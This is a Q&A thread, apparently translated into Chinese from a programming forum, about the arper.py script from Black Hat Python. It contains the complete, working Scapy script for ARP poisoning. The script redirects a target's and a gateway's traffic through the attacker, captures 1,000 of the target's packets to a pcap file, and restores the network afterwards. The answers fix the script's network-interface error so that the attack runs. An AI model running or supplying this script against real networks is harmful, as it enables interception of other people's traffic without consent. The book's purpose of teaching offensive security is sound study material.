Arper.py 来自 Black Hat Python 书 [Errno 19]

Question

所以在书中它教了如何制作 ARP 投毒脚本，我们将目标机器的网关切换到我们自己的机器，这样它就无法访问互联网而不先向攻击计算机报告。代码看起来像这样

    from scapy.all import *
import os
import sys
import threading

interface    = "en1"
target_ip    = "192.168.1.2"
gateway_ip   = "192.168.1.1"
packet_count = 1000
poisoning    = True

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

    # slightly different method using send
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

def get_mac(ip_address):

    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

    # return the MAC address from a response
    for s,r in responses:
        return r[Ether].src

    return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    global poisoning

    poison_target = ARP()
    poison_target.op   = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac

    poison_gateway = ARP()
    poison_gateway.op   = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac

    print "[*] Beginning the ARP poison. [CTRL-C to stop]"

    while poisoning:
        send(poison_target)
        send(poison_gateway)

        time.sleep(2)

    print "[*] ARP poison attack finished."

    return

# set our interface
conf.iface = interface

# turn off output
conf.verb  = 0

print "[*] Setting up %s" % interface

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip,target_mac)

# start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count

    bpf_filter  = "ip host %s" % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

except KeyboardInterrupt:
    pass

finally:
    # write out the captured packets
    print "[*] Writing packets to arper.pcap"
    wrpcap('arper.pcap',packets)

    poisoning = False

    # wait for poisoning thread to exit
    time.sleep(2)

    # restore the network
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

因此，当我在 linux 终端中执行脚本时，它会出现以下几行错误：

 line 64, in <module>
gateway_mac = get_mac(gateway_ip)

和

line 21, in get_mac
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

并解决此错误：

socket.error: [Errno 19] No such device

整个错误日志：

    Traceback (most recent call last):
  File "/root/Desktop/BHP-Code/Chapter4/arper.py", line 64, in <module>
    gateway_mac = get_mac(gateway_ip)
  File "/root/Desktop/BHP-Code/Chapter4/arper.py", line 21, in get_mac
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
  File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 357, in srp
    s = conf.L2socket(iface=iface, filter=filter, nofilter=nofilter, type=type)
  File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 417, in __init__
    self.ins.bind((iface, type))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 19] No such device

Answer 1

您必须在脚本开头编辑变量：

interface    = "en1"
target_ip    = "192.168.1.2"
gateway_ip   = "192.168.1.1"
packet_count = 1000
poisoning    = True

这里好像interface的值和你的配置不匹配，不过你可能还想调整target_ip和gateway_ip。

Answer 2

界面有问题。我遇到了同样的问题，并注意到我能够从 python 解释器获得 mac 地址。

>>>import arper
>>>gateway_mac = arper.get_mac('192.168.1.254')
Begin emission:
Finished to send 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
>>>

没有发生错误。不幸的是，我没有知识来解释原因。我知道改变界面是导致问题的原因。应该可以通过注释掉接口或更改为 wlan0

来修复它

Answer 3

在 Kali 上，当您执行 ifconfig 时，您会获得分配有 IP 地址的接口名称。选择该接口名称并使用完全相同的名称编辑您的接口。否则它找不到接口，代码将无法用于您的攻击。

Answer 4

界面变化="eth0" 对我有用

Arper.py 来自 Black Hat Python 书 [Errno 19]

Arper.py from Black Hat Python Book [Errno 19]

python

sockets

linux

scapy

python-2.7